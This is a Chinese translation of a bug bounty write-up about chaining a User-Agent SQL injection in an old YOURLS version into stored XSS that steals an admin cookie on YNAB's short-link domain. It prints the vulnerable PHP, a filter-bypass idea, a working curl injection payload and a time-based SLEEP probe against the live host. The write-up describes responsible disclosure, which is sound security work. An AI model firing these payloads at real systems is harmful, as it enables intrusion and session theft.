从Github的issue找到1500美金的漏洞

iso60001  1900天前

虽然世界上各大公司漏洞悬赏活动已经进行了很久,但我总觉得凭借自己的能力不足以挖出这些大公司的漏洞。

于是,我一直在通过各种途径训练我的挖洞技能了,比如Hack The Box以及RootMe 。经过很长一段时间的练习后,我觉得我终于可以靠自己挖到漏洞了。而在我正式挖洞的第一周,我就发现了一个强大的漏洞。

22.jpg

在以下内容,我将详细说明我的这次发现,如果你对安全感兴趣并且具有一定的背景知识,那么你也许也可以挖到这样的漏洞。需要清楚的是,挖漏洞不是只看技术,你还需要良好的工作流程和态度,技术细节只是挖洞过程的一部分。

因此,我开始寻找一个合适的,熟悉的目标。最后我瞄准了YNAB。很好!虽然这不是一个很大的公司,但我已经使用它们的产品很多年。我也觉得我说不定有机会找到一些好东西。而且,漏洞悬赏的范围相当广,奖励也不错。

是时候出发了。

侦察 侦察 侦察

老实说,我还没有真正实践过,虽然我已读过很多实战的文章。

在那些练习挖洞技能的网站上,我只需面对一个IP。而在实践中,我要面对一堆域名。这意味着我要长时间收集信息。但我还是坚持下来了,因为我知道这很有可能发现尚未被发现的漏洞。

我首先用Burpsuite的蜘蛛爬虫爬取了主站。同时用amass来枚举子域,看看能否找到有价值的东西。虽然没结果,但也很正常。

我回到了Burpsuite,检查了其中的所有URL,然后我看到了一个有趣的URL:http://ynab.me/admin。我看了一下,发现这是一个用来缩短网址的域名。它使用的是旧版本的YOURLS,看起来是一个发现漏洞的好地方,而且,它还是开源的。

在进行下一步前,我想确定YNAB确实拥有ynab.me。很快,whois告诉我它就是属于YNAB的。

狩猎开始

由于他使用YOURLS开源项目,于是我开始检查Github中项目的issue,看看是否有人已替我做了工作。 我发现不久前有人报告过一些SQL注入和XSS漏洞。 这些问题虽然已被修复,但也提醒了我挖洞方向。 接下来,我深入研究源码,希望能找到一个的SQL注入。基本上,它的数据库会详细记录下每一次点击和链接。 而在这其中,我发现User-Agent在存储进数据库前似乎没有经过安全过滤:

// Log a redirect (for stats)
function yourls_log_redirect( $keyword ) {
if ( !yourls_do_log_redirect() )
return true;
global $ydb;
$table = YOURLS_DB_TABLE_LOG;

$keyword = yourls_sanitize_string( $keyword );
$referrer = ( isset( $_SERVER['HTTP_REFERER'] ) ? yourls_sanitize_url( $_SERVER['HTTP_REFERER'] ) : 'direct' );
$ua = yourls_get_user_agent();
$ip = yourls_get_IP();
$location = yourls_geo_ip_to_countrycode( $ip );

return $ydb->query( "INSERT INTO `$table` VALUES ('', NOW(), '$keyword', '$referrer', '$ua', '$ip', '$location')" );
}

// Returns a sanitized a user agent string. Given what I found on http://www.user-agents.org/ it should be OK.
function yourls_get_user_agent() {
if ( !isset( $_SERVER['HTTP_USER_AGENT'] ) )
return '-';

$ua = strip_tags( html_entity_decode( $_SERVER['HTTP_USER_AGENT'] ));
$ua = preg_replace('![^0-9a-zA-Z\':., /{}\(\)\[\]\+@&\!\?;_\-=~\*\#]!', '', $ua );

return substr( $ua, 0, 254 );
}

因为我不想在不清楚的情况下立即对YNAB进行攻击,所以我使用了docker来搭建模拟环境,版本为1.4.3。

经过几次延时注入的尝试。我确实发现了漏洞,但由于整个注入点在insert语句中,所以它在利用上存在限制,而我可以利用它做以下的事:

  • 读取权限允许范围内的所有数据
  • yourls_log表中插入新记录
  • 更新yourls_log表中的现有记录

为了验证以上第一件事,我下载了整个数据库,但是:

  • 它里面没有什么有趣的东西:主要是分析日志。
  • 因为是基于时间的盲注,所以太慢了。

YOURLS会将管理员凭据存储在磁盘上的单独文件。所以很可惜,我不能进入管理员面板。

目前来看,虽然这是一个大漏洞,但对YNAB没有太大影响。

我担心我的漏洞报告可能被拒绝,或者由于影响程度太低而被降级。所以我一直在找更强的漏洞。我试图分析管理界面中回显的数据,想要获得一些存储型XSS。我发现,对于每个被缩短的URL,页面代码中都会显示它的引用链接。当用户访问缩短的URL时,YOURLS会记录Referer这个请求头,在对其进行安全过滤后,将其存储在数据库中。而当管理员查看该被缩短URL的统计页面时,它就会显示所有的引用链接,如下所示:

<a href="http://referer.com/">http://referer.com/</a>

在这种情况下,http://referer.com/字段是来自数据库的。

而在存储进YOURLS数据库之前,有三道过滤:

// A few sanity checks on the URL
function yourls_sanitize_url($url) {
// make sure there's only one 'http://' at the beginning (prevents pasting a URL right after the default 'http://')
$url = str_replace('http://http://', 'http://', $url);
// make sure there's a protocol, add http:// if not
if ( !preg_match('!^([a-zA-Z]+://)!', $url ) )
$url = 'http://'.$url;

$url = yourls_clean_url($url);

return substr( $url, 0, 1999 );
}

// Function to filter all invalid characters from a URL. Stolen from WP's clean_url()
function yourls_clean_url( $url ) {
$url = preg_replace('|[^a-z0-9-~+_.?#=!&;,/:%@$\|*\'"()\\x80-\\xff]|i', '', $url );
$strip = array('%0d', '%0a', '%0D', '%0A');
$url = yourls_deep_replace($strip, $url);
$url = str_replace(';//', '://', $url);
$url = str_replace('&amp;', '&', $url); // Revert & not to break query strings

return $url;
}

// Perform a replacement while a string is found, eg $subject = '%0%0%0DDD', $search ='%0D' -> $result =''
// Stolen from WP's _deep_replace
function yourls_deep_replace($search, $subject){
$found = true;
while($found) {
$found = false;
foreach( (array) $search as $val ) {
while(strpos($subject, $val) !== false) {
$found = true;
$subject = str_replace($val, '', $subject);
}
}
}

return $subject;
}

总结如下:

  • 检查referer中的URL是否有协议头http://ftp://
  • 移除任何非a-z0-9-~+_.?#=!&;,/:%@$\|*\'"()\\x80-\\xff中的字符
  • 移除任何\n\r

在长期测试后,我得到了如下payload

33.png

以上这个payload会弹出你的cookie。其中%e2%80%a8是URL编码后的Unicode行分隔符,而且它能绕过过滤函数,最后面的alert是有效payload。

最后,当用户单击链接时,就会执行以下payload:

44.png

终于!我成功了!虽然这花了我很长一段时间,但我最终成功了。

但是,我很快回过神来,这个XSS实在是太丑陋了,实际应用中没有人回去点击它。

我很高兴找到了挖到一个XSS,但没有好的利用方式。

绕过

我思考了很长一段时间,终于想出了实际利用方法!

前面的SQL注入允许我往yourls_log插入新的记录。因此,我可以往referer列中插入payload,同时不受过滤器的影响,因为我可以借用User-Agent请求头配合sql注入来插入payload。

然后我可以直接将xss存储在数据库中,它将在页面加载时直接执行,不需要用户单击奇怪的链接。

即时利用。很好!

现在,我终于得到一个可用的漏洞:基于sql注入和存储型XSS的管理员cookie泄漏。读起来真酷!

最终payload如下:

$ curl http://yourls.local/ozh -H "User-Agent: test', '', ''), ('', NOW(), 'ozh', concat(char(60), 'sc ript', char(62), 'alert(document.cookie);', char(60), '/sc ript', char(62)), '', '', '') #"

实际利用

正如你在上面所看到的,我需要一个有效的被缩短的URL来触发漏洞,因为YOURLS不会在数据库中记录任何无效的内容。

通过在Google上快速搜索site:ynab.me,我找到了很多。

我只测试了sql注入,测试如下:

$ time curl http://ynab.me/contactus


real    0m0.901s
user    0m0.027s
sys 0m0.037s
$ time curl http://ynab.me/contactus -H "User-Agent: test' or SLEEP(10) or '"


real    0m10.431s
user    0m0.026s
sys 0m0.040s

结果证实了ynab.me上存在漏洞。

尾声

接下来,我写了报告提交给YNAB,希望得到奖励。

而在等了12天后,由于没有回复,我提交了一个简短的评论,询问他们是否需要我提供更多的信息。

然后第二天,我收到了回复,Ynab正在对它进行进一步审查。很好,他们没有忘记我!

接着,YNAB的安全团队检查了这个漏洞,确认了它的存在,并给了我1500美元的奖金。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://renaudmarti.net/posts/first-bug-bounty-submission/

最新评论

昵称
邮箱
提交评论